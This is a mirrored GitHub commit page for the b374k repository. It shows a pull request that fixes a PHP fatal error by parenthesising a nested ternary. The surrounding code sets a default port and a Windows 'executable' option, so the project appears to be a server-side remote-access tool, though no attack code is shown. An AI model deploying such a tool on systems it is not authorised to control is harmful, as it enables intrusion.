1
0
Fork 0
mirror of https://github.com/b374k/b374k.git synced 2024-09-12 18:50:52 +02:00

Merge pull request #41 from xKippi/master

Fix another PHP Fatal error
This commit is contained in:
b374k 2023-06-24 13:26:13 +08:00 committed by GitHub
commit 3e456486c9
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,5 +1,5 @@
<?php
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"");
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";